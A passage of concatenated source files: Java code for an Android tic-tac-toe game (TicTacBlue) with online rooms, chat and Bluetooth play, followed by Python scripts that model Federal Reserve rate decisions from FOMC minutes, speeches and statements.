(gameType != GameType.ONLINE) { Controller.getInstance().setPlayer(null); } System.gc(); super.onDestroy(); } } <file_sep>/XO/src/com/net/online/protobuf/ProtoFactory.java package com.net.online.protobuf; import com.google.protobuf.*; import com.utils.*; import net.protocol.*; public class ProtoFactory { public static AbstractMessageLite createProtoObject(byte data[], ProtoType type) throws InvalidProtocolBufferException { // System.out.println("createHandler for " + type); switch (type) { case CUPDATEAOBOUTACTIVITYPLAYER: Protocol.CUpdateAboutActivityPlayer cAboutActivityPlayer = Protocol.CUpdateAboutActivityPlayer .parseFrom(data); return cAboutActivityPlayer; case CSTARTGAME: Protocol.CStartGame cStartGame = Protocol.CStartGame .parseFrom(data); return cStartGame; case CWANTTOPLAY: Protocol.CWantToPlay CWantToPlay = Protocol.CWantToPlay .parseFrom(data); return CWantToPlay; case CLOGINTOGAME: Protocol.CLoginToGame CLoginToGame = Protocol.CLoginToGame .parseFrom(data); return CLoginToGame; case CDIDMOVE: Protocol.CDidMove didMove = Protocol.CDidMove.parseFrom(data); return didMove; case CEXITFROMGAME: Protocol.CExitFromGame exitFromGame = Protocol.CExitFromGame .parseFrom(data); return exitFromGame; case CCONTINUEGAME: Protocol.CContinueGame continueGame = Protocol.CContinueGame .parseFrom(data); return continueGame; case CGETGROUPLIST: Protocol.CGetGroupList getGroupList = Protocol.CGetGroupList.parseFrom(data); return getGroupList; case CCANCELDESIREPLAY: Protocol.CCancelDesirePlay cCancelDesirePlay = Protocol.CCancelDesirePlay.parseFrom(data); return cCancelDesirePlay; case CCHATMESSAGE: Protocol.CChatMessage cChatMessage = Protocol.CChatMessage.parseFrom(data); return cChatMessage; case CGROUPCHATMESSAGE: Protocol.CGroupChatMessage cGroupChatMessage = Protocol.CGroupChatMessage.parseFrom(data); return cGroupChatMessage; case CTOP100: Protocol.CTop100Player top100 = Protocol.CTop100Player.parseFrom(data); return top100; case TIME_FOR_MOVE_FULL_UP: Protocol.TimeForMoveFullUp timeForMoveFullUp = Protocol.TimeForMoveFullUp.parseFrom(data); return timeForMoveFullUp; case APP_NEED_UPDATE_TO_LAST_VERSION: Protocol.AppNeedUpdateToLastVersion appNeedUpdateToLastVersion = Protocol.AppNeedUpdateToLastVersion.parseFrom(data); return appNeedUpdateToLastVersion; default: Loger.printLog(" Wrong packet BLIADY"); return null; } } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/handler/FriendGameHandler.java package com.halfplatepoha.TicTacBlue.gamefield.handler; import java.util.List; import android.widget.TextView; import com.entity.OneMove; import com.entity.Player; import com.entity.TypeOfMove; import com.halfplatepoha.TicTacBlue.GameType; import com.halfplatepoha.TicTacBlue.R; import com.halfplatepoha.TicTacBlue.gamefield.GameFieldActivityAction; import com.halfplatepoha.TicTacBlue.gamefield.GameFieldAdapter; import com.halfplatepoha.TicTacBlue.gamefield.GameFieldItem; public class FriendGameHandler extends GlobalHandler implements IGameHandler { public FriendGameHandler(Player player, Player opponent, GameFieldActivityAction activityAction) { super(player, opponent, activityAction); } @Override public void sendMessage(String message) { // TODO Auto-generated method stub } @Override public GameType getGameType() { return GameType.FRIEND; } @Override public List<OneMove> performedOneMove(OneMove oneMove) { List<OneMove> list = gameFieldWinLineHandler.oneMove(oneMove); if (list != null) { wonGame(list); } return list; } @Override public GameFieldItem.FieldType occurredMove(int i, int j) { GameFieldItem.FieldType type = null; OneMove oneMove = null; if (indicator == FIRST_PLAYER) { type = (player.getMoveType() == TypeOfMove.X) ? GameFieldItem.FieldType.X : GameFieldItem.FieldType.O; oneMove = new OneMove(i, j, player.getMoveType()); } else if (indicator == SECOND_PLAYER) { type = (opponent.getMoveType() == TypeOfMove.X) ? GameFieldItem.FieldType.X : GameFieldItem.FieldType.O; oneMove = new OneMove(i, j, opponent.getMoveType()); } gameFieldAdapter.showOneMove(oneMove); performedOneMove(oneMove); changeIndicator(); return type; } @Override public void setAdapter(GameFieldAdapter adapter) { this.gameFieldAdapter = adapter; } public void setPlayer1TextView(TextView player1TexView) { this.tvPlayer1Name = player1TexView; this.tvPlayer1Name.setText(player.getName()); } @Override public void setPlayer2TextView(TextView player2TexView) { this.tvPlayer2Name = player2TexView; this.tvPlayer2Name.setText(opponent.getName()); } @Override public void setPlayer1ScoreTextView(TextView score1TexView) { tvPlayer1Score = score1TexView; } @Override public void setPlayer2ScoreTextView(TextView score2TexView) { tvPlayer2Score = score2TexView; } @Override public void setTimerTextView(TextView timerTexView) { tvTimeInsicator = timerTexView; } @Override public void initIndicator() { indicator = FIRST_PLAYER; tvPlayer1Name.setBackgroundResource(SELECT_PLAYER_BACKGROUND); tvPlayer2Name.setBackgroundResource(R.drawable.button_white); player.setMoveType(TypeOfMove.X); opponent.setMoveType(TypeOfMove.O); } @Override public void startNewGame() { gameFieldWinLineHandler.newGame(); gameFieldAdapter.startNewGame(); if (player.getMoveType() == TypeOfMove.X) { indicator = SECOND_PLAYER; tvPlayer2Name.setBackgroundResource(SELECT_PLAYER_BACKGROUND); tvPlayer1Name.setBackgroundResource(R.drawable.button_white); player.setMoveType(TypeOfMove.O); opponent.setMoveType(TypeOfMove.X); } else { indicator = FIRST_PLAYER; player.setMoveType(TypeOfMove.X); opponent.setMoveType(TypeOfMove.O); tvPlayer1Name.setBackgroundResource(SELECT_PLAYER_BACKGROUND); tvPlayer2Name.setBackgroundResource(R.drawable.button_white); } } @Override public void exitFromGame() { } @Override public void setActivityAction(GameFieldActivityAction activityAction) { } @Override public void unregisterHandler() { } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/mainactivity/GoogleAnalyticsActivity.java package com.halfplatepoha.TicTacBlue.mainactivity; import android.os.*; import android.support.v4.app.*; import com.google.analytics.tracking.android.*; /** * Created by Maksym on 10.02.14. */ public class GoogleAnalyticsActivity extends FragmentActivity { public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override protected void onStart() { super.onStart(); EasyTracker.getInstance(this).activityStart(this); } @Override protected void onStop() { super.onStop(); EasyTracker.getInstance(this).activityStop(this); } }<file_sep>/XO/src/com/bluetooth/protobuf/BluetoothProtoFactory.java package com.bluetooth.protobuf; import com.google.protobuf.AbstractMessageLite; import com.google.protobuf.InvalidProtocolBufferException; import com.bluetooth.protocol.BluetoothProtocol; import com.utils.Loger; public class BluetoothProtoFactory { public static AbstractMessageLite createProtoObject(byte data[], BluetoothProtoType type) throws InvalidProtocolBufferException { switch (type) { case DID_MOVE: BluetoothProtocol.DidMove didMove = BluetoothProtocol.DidMove.parseFrom(data); return didMove; case CONTINUE_GAME: BluetoothProtocol.ContinueGame continueGame = BluetoothProtocol.ContinueGame.parseFrom(data); return continueGame; case CHAT_MESSAGE: BluetoothProtocol.ChatMessage chatMessage = BluetoothProtocol.ChatMessage.parseFrom(data); return chatMessage; default: Loger.printLog(" Wrong packet in bluetooth"); return null; } } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/openedroom/OnlineOpenedRoomActivity.java package com.halfplatepoha.TicTacBlue.openedroom; import net.protocol.Protocol; import android.content.DialogInterface; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentActivity; import android.support.v4.app.FragmentTransaction; import android.view.View; import android.widget.Button; import com.halfplatepoha.TicTacBlue.Controller; import com.halfplatepoha.TicTacBlue.R; import com.halfplatepoha.TicTacBlue.chat.ChatAction; import com.halfplatepoha.TicTacBlue.chat.ChatFragment; import com.halfplatepoha.TicTacBlue.chat.ChatMessage; import com.halfplatepoha.TicTacBlue.chat.IChatActionNotification; import com.halfplatepoha.TicTacBlue.onlinerooms.OnlineRoomsFragment; import com.halfplatepoha.TicTacBlue.popup.XOAlertDialog; import com.entity.Player; import com.net.online.protobuf.ProtoType; /** * @author <NAME> on 6/19/13. */ public class OnlineOpenedRoomActivity extends FragmentActivity implements View.OnClickListener, IChatActionNotification { private Fragment openedGroupFragment; private ChatFragment chatFragment; private FragmentTransaction fragmentTransaction; private Button openGroup; private Button openChat; private Handler handler; private IOnlineOpenedRoomAction openedGroupAction; private ChatAction chatAction; private enum TAB {OPENED_GROUP, CHAT} private TAB currentTab; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.opened_activity_layout); openChat = (Button) findViewById(R.id.btn_group_chat); openGroup = (Button) findViewById(R.id.btn_opened_online_group); openChat.setOnClickListener(this); openGroup.setOnClickListener(this); int groupId = getIntent().getIntExtra(OnlineRoomsFragment.NUMBER_OF_GROUP, 0); Controller.getInstance().getPlayer().setGroupId(groupId); openGroup.setText(getString(R.string.room) + " " + groupId); setGroupFragment(); initFragment(); initHandler(); } private void initHandler() { handler = new Handler() { @Override public void handleMessage(Message msg) { ProtoType protoType = ProtoType.fromInt(msg.what); switch (protoType) { case CUPDATEAOBOUTACTIVITYPLAYER: openedGroupAction.updateAboutActivityPlayer(msg); break; case CWANTTOPLAY: openedGroupAction.wantToPlay(msg); break; case CSTARTGAME: openedGroupAction.startGame(msg); break; case CCANCELDESIREPLAY: openedGroupAction.cancelPlayDesire(msg); break; case CGROUPCHATMESSAGE: Protocol.CGroupChatMessage cGroupChatMessage = (Protocol.CGroupChatMessage) msg.obj; int senderID = cGroupChatMessage.getPlayerId(); String senderName = "anonymous"; for (Player player : openedGroupAction.getListActivePlayer()) { if (player.getId() == senderID) { senderName = player.getName(); break; } } if (cGroupChatMessage != null) { chatAction.receivedMessage(new ChatMessage(cGroupChatMessage.getMessage(), senderName)); } if (currentTab == TAB.OPENED_GROUP) { openChat.setText(R.string.message); openChat.setTextColor(getResources().getColor(R.color.blue)); } break; case CONNECTION_TO_SERVER_LOST: connectionToServerLost(); } } }; } private void setGroupFragment() { } private void initFragment() { openedGroupFragment = new OnlineOpenedRoomFragment(); openedGroupAction = (IOnlineOpenedRoomAction) openedGroupFragment; chatFragment = new ChatFragment(); chatAction = chatFragment; fragmentTransaction = getSupportFragmentManager().beginTransaction(); fragmentTransaction.add(R.id.center_for_fragment, openedGroupFragment); fragmentTransaction.add(R.id.center_for_fragment, chatFragment); fragmentTransaction.hide(chatFragment); fragmentTransaction.show(openedGroupFragment); fragmentTransaction.commit(); currentTab = TAB.OPENED_GROUP; openGroup.setSelected(true); } private void switchToFragment(TAB tab) { currentTab = tab; fragmentTransaction = getSupportFragmentManager().beginTransaction(); switch (tab) { case OPENED_GROUP: openGroup.setSelected(true); openChat.setSelected(false); fragmentTransaction.hide(chatFragment); fragmentTransaction.show(openedGroupFragment); break; case CHAT: openGroup.setSelected(false); openChat.setSelected(true); fragmentTransaction.hide(openedGroupFragment); fragmentTransaction.show(chatFragment); break; } fragmentTransaction.commit(); } public void connectionToServerLost() { XOAlertDialog xoAlertDialog = new XOAlertDialog(); xoAlertDialog.setAlert_type(XOAlertDialog.ALERT_TYPE.ONE_BUTTON); xoAlertDialog.setTile(getResources().getString(R.string.connection_to_server_lost)); String mainText = getString(R.string.please_try_to_connect_once_more); xoAlertDialog.setMainText(mainText); xoAlertDialog.setPositiveButtonText(getResources().getString(R.string.ok)); xoAlertDialog.setPositiveListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { finish(); } }); xoAlertDialog.show(getSupportFragmentManager(), ""); } @Override protected void onResume() { Controller.getInstance().getOnlineWorker().registerHandler(handler); super.onResume(); } @Override protected void onPause() { Controller.getInstance().getOnlineWorker().unRegisterHandler(handler); super.onPause(); } @Override protected void onDestroy() { super.onDestroy(); } @Override public void onBackPressed() { if (currentTab == TAB.CHAT) { switchToFragment(TAB.OPENED_GROUP); } else { XOAlertDialog xoAlertDialog = new XOAlertDialog(); xoAlertDialog.setTile(getResources().getString(R.string.exit_from_room)); xoAlertDialog.setMainText(getResources().getString(R.string.exit_from_room_question)); xoAlertDialog.setPositiveButtonText(getResources().getString(R.string.yes)); xoAlertDialog.setNegativeButtonText((getResources().getString(R.string.no))); xoAlertDialog.setPositiveListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { Controller.getInstance().getOnlineWorker(). sendPacket(Protocol.SExitFromGroup.newBuilder().setPlayerId(Controller.getInstance().getPlayer().getId()).setGroupId(Controller.getInstance().getPlayer().getGroupId()).build()); finish(); } }); xoAlertDialog.show(getSupportFragmentManager(), ""); } } @Override public void onClick(View view) { int id = view.getId(); switch (id) { case R.id.btn_opened_online_group: switchToFragment(TAB.OPENED_GROUP); break; case R.id.btn_group_chat: switchToFragment(TAB.CHAT); openChat.setText(R.string.chat); openChat.setTextColor(getResources().getColor(R.color.black)); break; } } @Override public void actionSendChatMessage(ChatMessage chatMessage) { Controller.getInstance().getOnlineWorker().sendPacket(Protocol.SGroupChatMessage .newBuilder().setMessage(chatMessage.getMessage()) .setGroupId(Controller.getInstance().getPlayer().getGroupId()) .setPlayerId(Controller.getInstance().getPlayer().getId()) .build()); } @Override public String getPlayerName() { return Controller.getInstance().getPlayer().getName(); } }<file_sep>/XO/src/com/halfplatepoha/TicTacBlue/onlinerooms/OnlineRoomsAdapter.java package com.halfplatepoha.TicTacBlue.onlinerooms; import java.util.Collections; import java.util.Comparator; import java.util.List; import android.content.Context; import android.content.Intent; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.TextView; import com.entity.Group; import com.halfplatepoha.TicTacBlue.R; import com.halfplatepoha.TicTacBlue.openedroom.OnlineOpenedRoomActivity; import com.utils.Loger; public class OnlineRoomsAdapter extends BaseAdapter { private Context mContext; private LayoutInflater mLayoutInflater; private List<Group> mGroups; private int mIdLast; public OnlineRoomsAdapter(Context context, List<Group> groups) { mGroups = groups; mContext = context; mLayoutInflater = (LayoutInflater) context .getSystemService(Context.LAYOUT_INFLATER_SERVICE); } @Override public int getCount() { return mGroups.size(); } @Override public Object getItem(int arg0) { return mGroups.get(arg0); } @Override public long getItemId(int arg0) { return arg0; } // TODO 07.06.13 01.25- @SuppressWarnings("ConstantConditions") @Override public View getView(int position, View arg1, ViewGroup parent) { View view = arg1; if (view == null) view = mLayoutInflater.inflate(R.layout.online_group_list_item, parent, false); TextView name = (TextView) view.findViewById(R.id.tv_online_group_item_name); TextView count = (TextView) view.findViewById(R.id.tv_count_of_online_players_in_group); Group group = mGroups.get(position); if (group != null) { name.setText(String.valueOf(group.getId())); count.setText(group.getCountOfOnlinePlayer() + "/" + group.getCountOfMaxPlayer()); } view.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { mIdLast = ((Integer) v.getTag()); Intent intent = new Intent(mContext, OnlineOpenedRoomActivity.class); intent.putExtra(OnlineRoomsFragment.NUMBER_OF_GROUP, mIdLast); mContext.startActivity(intent); Loger.printLog("CLICK " + mIdLast); } }); view.setTag(group.getId()); return view; } @Override public void notifyDataSetChanged() { Collections.sort(mGroups, new GroupComparator()); super.notifyDataSetChanged(); } private static class GroupComparator implements Comparator<Group> { @Override public int compare(Group group, Group group2) { int idGroup1 = group.getId(); int idGroup2 = group2.getId(); if (idGroup1 < idGroup2) return -1; else if (idGroup1 == idGroup2) { return 0; } return 1; } } } <file_sep>/XO/src/com/entity/Player.java package com.entity; import java.io.Serializable; import java.util.HashMap; import java.util.Map; import net.protocol.Protocol; public class Player implements Serializable{ private int id = 0; private String name; private Map<Integer, Player> playerMapWichWantedPlay; private Map<Integer, Player> mapActivityPlayer; private Protocol.RegistrationType registrationType; private int groupId; private String uuid; private TypeOfMove moveType; private int rating; private int numOfAllWonGame; public Player() { playerMapWichWantedPlay = new HashMap<Integer, Player>(); } public Player(int id, String name) { this.id = id; this.name = name; playerMapWichWantedPlay = new HashMap<Integer, Player>(); mapActivityPlayer = new HashMap<Integer, Player>(); } public Player(int id, String name, int rating) { this.id = id; this.name = name; this.rating = rating; playerMapWichWantedPlay = new HashMap<Integer, Player>(); mapActivityPlayer = new HashMap<Integer, Player>(); } public Player(int id, String name, Protocol.RegistrationType registrationType) { this.registrationType = registrationType; this.id = id; this.name = name; playerMapWichWantedPlay = new HashMap<Integer, Player>(); mapActivityPlayer = new HashMap<Integer, Player>(); } public TypeOfMove getMoveType() { return moveType; } public void setMoveType(TypeOfMove moveType) { this.moveType = moveType; } public String getUuid() { return uuid; } public int getNumOfAllWonGame() { return numOfAllWonGame; } public void setNumOfAllWonGame(int numOfAllWonGame) { this.numOfAllWonGame = numOfAllWonGame; } public void setUuid(String uuid) { this.uuid = uuid; } public int getRating() { return rating; } public void setRating(int rating) { this.rating = rating; } public int getId() { return id; } public int getGroupId() { return groupId; } public void setGroupId(int groupId) { this.groupId = groupId; } public Protocol.RegistrationType getRegistrationType() { return registrationType; } public void setRegistrationType(Protocol.RegistrationType registrationType) { this.registrationType = registrationType; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Map<Integer, Player> getPlayerMapWichWantedPlay() { return playerMapWichWantedPlay; } public void setPlayerMapWichWantedPlay( Map<Integer, Player> playerMapWichWantedPlay) { this.playerMapWichWantedPlay = playerMapWichWantedPlay; } public void addPlayerWichWanPlay(Player player) { playerMapWichWantedPlay.put(player.getId(), player); } public Map<Integer, Player> getMapActivityPlayer() { return mapActivityPlayer; } public void setMapActivityPlayer(Map<Integer, Player> mapActivityPlayer) { this.mapActivityPlayer = mapActivityPlayer; } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/onlinerooms/Top100Action.java package com.halfplatepoha.TicTacBlue.onlinerooms; import com.entity.Player; import java.util.List; /** * Created by Maksym on 17.11.13. */ public interface Top100Action { public void receivedListTop100(List<Player> players); }
327d3bc816a53e91455b6b7208297901b7f2e46b
[ "Java" ]
27
Java
surajsau/TicTacBlue
9ff7cb3a1ab9672240878a07f6dce6e5da806137
be30f6c83bceb9d3e00cc9519c8ea8e9bdec0265
refs/heads/master
<file_sep>import matplotlib.pyplot as plt import pandas as pd import numpy as np import argparse """ Compare F1 Scores of the Fits vs NGram Length """ def compareFits(ax,df, fits, output, range, title=None, xaxis=None): range = int(range) if range is not None else len(df) for f in fits: ll = df[df["Model Name"] == f] ll = ll[ll["NGramInt"] <= range] x = ll.NGramInt f1 = ll.F1 ax.plot(x, f1, marker='o', label='{} F1'.format(f)) ax.set_ylabel('F1 Score') ax.set_title(title) if xaxis is not None : ax.set_xlabel(xaxis) ax.legend() def getdf(f): df = pd.read_csv(f) ng = df.NGram.values z = [int(x.split(':')[0]) for x in ng] df["NGramInt"] = z return df if __name__ == '__main__': #to see plot #python ./plot_pre.py -i ../output/models_stack.csv ../output/models_nostack.csv -r 40 # to save plot #python ./plot_pre.py -i ../output/models_stack.csv ../output/models_nostack.csv -r 40 -o ./combined parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('-i','--input', nargs='+',default=None) parser.add_argument('-o','--output', default=None) parser.add_argument('-r','--range', default=None) parser.add_argument('--f0', nargs='+', help= "'svm', 'logistic_lasso', 'Naive_Bayes', 'logistic'", default=['logistic_lasso', 'Naive_Bayes','nn_40', 'nn_40_40']) parser.add_argument('--f1', nargs='+', help= "'svm', 'logistic_lasso', 'Naive_Bayes', 'logistic'", default=['logistic_lasso', 'Naive_Bayes','svm']) args = parser.parse_args() assert len(args.input) == 2 d0 = getdf(args.input[0]) d1 = getdf(args.input[1]) output = args.output fig, axs=plt.subplots(2,1,figsize=(6,6)) fits0 = [f.replace("_B"," B") for f in args.f0] title0 = r'$E[D_t|Agg(St_{t-i}, Min_{t-j}, Sp_{t-k}),NGram]$' compareFits(axs[0],d0, fits0, None, args.range, title0) fits1 = [f.replace("_B"," B") for f in args.f1] title1 = r'$E[D_t|St_{t-i}, Min_{t-j}, Sp_{t-k},NGram]$' compareFits(axs[1],d1, fits1, None, args.range, title1, xaxis="NGram Length") plt.subplots_adjust(hspace=.4) if output is not None: plt.savefig("{}.pdf".format(output), bbox_inches='tight') else: plt.show() <file_sep>import os import sys import argparse import numpy as np import pandas as pd import datetime import bisect import re from clean import simple_clean from clean import complex_clean from sklearn.feature_extraction.text import CountVectorizer from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression from sklearn.naive_bayes import MultinomialNB import matplotlib.pyplot as plt # more scalable version of model0 # this version allows for multiple fit methods (SVM, Logistic, Logistic Lasso) # this method also computes the mean and std deviation of the accuracy by # allows the text preprocessing algorithm to be selected # running each model Niter Times # python ./model1.py --Niter 100 --cleanAlgo complex # python ./model1.py --Niter 100 --cleanAlgo simple def decisionDF(decisionFile): names = ["minutes_date","publish_date","before","after","decision","flag","change"] usecols = [0,1,2,3,4,5,6] dtypes={"minutes_date":'str',"publish_date":'str',"before":'float',"after":'float', "decision":'str',"flag":'float',"change":'float'} df = pd.read_csv(decisionFile, usecols=usecols, header=None, names=names, dtype=dtypes, sep=",") df['minutes_date'] = pd.to_datetime(df['minutes_date'],format="%Y%m%d") df['publish_date'] = pd.to_datetime(df['publish_date'],format="%Y%m%d") return df def getMinutes(minutesDir, decisionDF, clean_algo): minutes, publish , data = [], [], [] for files in sorted(os.listdir(minutesDir)): f, ext = os.path.splitext(files) minutes.append(datetime.datetime.strptime(f.split("_")[0],"%Y%m%d")) publish.append(datetime.datetime.strptime(f.split("_")[-1],"%Y%m%d")) try: text = clean_algo(open(os.path.join(minutesDir, files)).read().strip()) dec = df[df["publish_date"] == publish[-1]].iloc[0]["flag"] data.append([text, dec]) except Exception as e: print("exception reading file %s" % files) print(e) quit() return data, publish def splitTrainTest(data, trainPct): np.random.shuffle(data) Ntrain = int(len(data)*args.pctTrain) train_data = pd.DataFrame(data[0:Ntrain],columns=['text', 'sentiment']) test_data = pd.DataFrame(data[Ntrain:], columns=['text', 'sentiment']) return train_data, test_data def getFeatures(train_data, test_data): vectorizer = CountVectorizer(stop_words="english",preprocessor=None) training_features = vectorizer.fit_transform(train_data["text"]) test_features = vectorizer.transform(test_data["text"]) return training_features, test_features def runModels(models, data, Nitr, pctTrain): results=[] for iter in range(Nitr): train_data, test_data = splitTrainTest(data, pctTrain) training_features, test_features = getFeatures(train_data, test_data) for i, m in enumerate(models): model=m[1] model.fit(training_features, train_data["sentiment"]) y_pred = model.predict(test_features) acc = accuracy_score(test_data["sentiment"], y_pred) if iter == 0: results.append(np.zeros(Nitr)) results[i][iter]=acc return results if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) parser.add_argument('--Niter', default=10, type=int) parser.add_argument('--cleanAlgo', default="complex") args = parser.parse_args() Niter = args.Niter clean_algo = complex_clean if args.cleanAlgo == "complex" else simple_clean df = decisionDF(args.decision) data, publish = getMinutes(args.minutes, df, clean_algo) # Train on current minutes models=[("svm",LinearSVC()), ("logistic",LogisticRegression()), ("logistic_lasso",LogisticRegression(penalty='l1')), ("Naive Bayes",MultinomialNB())] results= runModels(models, data, args.Niter, args.pctTrain) print("Determining Fed Action from minutes") pctTrain, cleanA, Niter, N = args.pctTrain, args.cleanAlgo, args.Niter, len(data) start, end = publish[0].strftime("%m/%d/%Y"), publish[-1].strftime("%m/%d/%Y") print("%-20s %5s %10s %10s %5s %8s %6s %10s %10s" % ("Model Name", "Niter", "mean(acc)", "std(acc)","N","PctTrain", "clean", "start", "end")) for m, r in zip(models, results): name, mu, s = m[0], np.mean(r), np.std(r) print("%-20s %5s %10.4f %10.4f %5d %8.3f %6s %10s %10s" % (name, Niter, mu, s, N, pctTrain, cleanA, start, end)) <file_sep>import os import sys import argparse import numpy as np import pandas as pd import datetime import bisect import re from clean import simple_clean from clean import complex_clean from sklearn.feature_extraction.text import CountVectorizer # # create a training set from speeches, statements, prior minutes # # convert a numpy.datetime64 to python datetime def todt(date): if type(date) == datetime.datetime : return date ts = (date - np.datetime64('1970-01-01T00:00:00Z')) / np.timedelta64(1, 's') return datetime.datetime.utcfromtimestamp(ts) def get_ge(datesV, date): # if datesV is np64 #ib = bisect.bisect_right(datesV, np.datetime64(date)) ib = bisect.bisect_right(datesV, date) return ib def get_lt(datesV, date): # if datesV is np64 #ib = bisect.bisect_right(datesV, np.datetime64(date)) ib = bisect.bisect_left(datesV, date) - 1 return ib # def getRatesDecisionDF(decisionFile): names = ["minutes_date","publish_date","before","after","decision","flag","change"] usecols = [0,1,2,3,4,5,6] dtypes={"minutes_date":'str',"publish_date":'str',"before":'float',"after":'float', "decision":'str',"flag":'float',"change":'float'} df = pd.read_csv(decisionFile, usecols=usecols, header=None, names=names, dtype=dtypes, sep=",") df['minutes_date'] = pd.to_datetime(df['minutes_date'],format="%Y%m%d") df['publish_date'] = pd.to_datetime(df['publish_date'],format="%Y%m%d") return df def getMinutesDates(mdir): minutes, publish, docs = [] ,[], [] for files in sorted(os.listdir(mdir)): f, ext = os.path.splitext(files) if len(f.split("_")) != 4 : continue minutes.append(datetime.datetime.strptime(f.split("_")[0],"%Y%m%d")) publish.append(datetime.datetime.strptime(f.split("_")[-1],"%Y%m%d")) docs.append(files) return minutes, publish , docs def getSpeeches(sdir): sdate, docs = [],[] for files in sorted(os.listdir(sdir)): f, ext = os.path.splitext(files) if len(f.split("_")) < 2 : continue sdate.append(datetime.datetime.strptime(f.split("_")[0],"%Y%m%d")) docs.append(files) return sdate, docs def getStatements(sdir): sdate, docs = [],[] for files in sorted(os.listdir(sdir)): f, ext = os.path.splitext(files) sdate.append(datetime.datetime.strptime(f,"%Y%m%d")) docs.append(files) return sdate, docs def getTextVector(ddir, docList): def getText(fullpath): try: f = open(fullpath) return f.read() except: print("bad file %s" % fullpath) return "x" return [getText(os.path.join(ddir, doc)) for doc in docList] def dec2f(decision): if decision == "unchg" : return 0.0 if decision == "raise" : return 1.0 if decision == "raise" : return -1.0 class DataSet: def __init__(self, decisionFile, minutesDir, speechDir, statementDir): # rates decision df "../text/history/RatesDecision.csv") self.ratesdf = getRatesDecisionDF(decisionFile) # convert to a vector of datetime , pandas dates are np.datetime64, for consistency self.publishDates = [todt(d64) for d64 in self.ratesdf["publish_date"].values] self.decision = self.ratesdf["decision"].values self.decisionValue = [dec2f(d) for d in self.decision] self.flag = self.ratesdf["flag"].values # publish date of minutes and vector of all text in # fiels in directory "../text/minutes") self.minutesDates, self.minutesPublishDates, self.minutesDocs = getMinutesDates(minutesDir) self.minutesText = getTextVector(minutesDir, self.minutesDocs) # dates of speeches along with vector of all speechs text # "../text/speeches") self.speechDates, self.speechDocs = getSpeeches(speechDir) self.speechText = getTextVector(speechDir, self.speechDocs) # dates of statements along with vector of all statement texts self.statementDates, self.statementDocs = getStatements(args.statements) self.statementText = getTextVector(statementDir, self.statementDocs) def calcDataTuple(self): # merge response to data # this calculate the response and the greatest index for each of the texts # that can be used as input to the response. # a hpyer parameter can then be used to determine the lookback # # prediction is # Action, No Action Model # P(RateDecision(n)=1|RateDecision(n-1)..RateDec(0), statemets < RateDecision, speeches < RateDecision) # P(RateDecision(n)=0|RateDecision(n-1)..RateDec(0), statemets < RateDecision, speeches < RateDecision) # prediction is raise, lower, unchg # # P(RateDecision(n)=raise|RateDecision(n-1)..RateDec(0), statemets < RateDecision, speeches < RateDecision) # P(RateDecision(n)=lower|RateDecision(n-1)..RateDec(0), statemets < RateDecision, speeches < RateDecision) # P(RateDecision(n)=unchg|RateDecision(n-1)..RateDec(0), statemets < RateDecision, speeches < RateDecision) dataTuple=[] # note pandas datetime stored as numpy.datetime64, f64 for ix, (publishDate, flag, decision) in enumerate(zip(self.publishDates, self.flag, self.decisionValue)): # skip a couple if ix < 2 : continue # prior minutes minutes_ix = ix - 1 # find latest speech date occurring before publish date speech_ix = get_lt(self.speechDates, publishDate) # find statement date statement_ix = get_lt(self.statementDates, publishDate) #stdt = self.statementDates[statement_ix] if statement_ix > 0 else None #print(stdt, publishDate, statement_ix) dataTuple.append([(publishDate,flag, decision, ix),(minutes_ix, speech_ix, statement_ix)]) return dataTuple # some other stuff for later use # # TF(word,text) = # occurrcnes/total words # # IDF(word) = log[ #texts/#texts where word occurrs] # # TD-IDF(word,text) = TD*IDF if __name__ == '__main__': parser = argparse.ArgumentParser(description='SocialNetworks CSV to HDF5') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") args = parser.parse_args() dataset = DataSet(args.decision, args.minutes, args.speeches, args.statements) dataTuple = dataset.calcDataTuple() # # #vectorizer = CountVectorizer(stop_words="english", preprocessor=simple_clean) #training_features = vectorizer.fit_transform(statementText) #test_features = vectorizer.transform(minutesText) <file_sep>import os import glob import os import sys import argparse import numpy as np import pandas as pd import datetime import datetime as dt import bisect import re import csv import statistics def minutesWordCount(minutesDir): totalWords, totalDoc = 0, 0 words = 0 docVec = [] for files in sorted(os.listdir(minutesDir)): with open(minutesDir+'/'+files, 'r') as f: totalDoc += 1 for line in f: line = line.split() totalWords += len(line) words += len(line) docVec.append(words) words = 0 return totalWords, totalDoc, docVec def statementsWordCount(direc): totalWords, totalDoc = 0, 0 words = 0 docVec = [] for files in sorted(os.listdir(direc)): with open(direc+'/'+files, 'r',encoding='utf-8',errors='ignore') as f: totalDoc += 1 for line in f: line = line.split() totalWords += len(line) words += len(line) docVec.append(words) words = 0 return totalWords, totalDoc, docVec def speechesWordCount(direc): totalWords, totalDoc = 0, 0 words = 0 docVec = [] for files in sorted(os.listdir(direc)): with open(direc+'/'+files, 'r',encoding='utf-8',errors='ignore') as f: totalDoc += 1 for line in f: line = line.split() totalWords += len(line) words += len(line) docVec.append(words) words = 0 return totalWords, totalDoc, docVec def printMetaData(docType,numWords,numDocs,wordVec): print('Total Words in '+docType+ ': 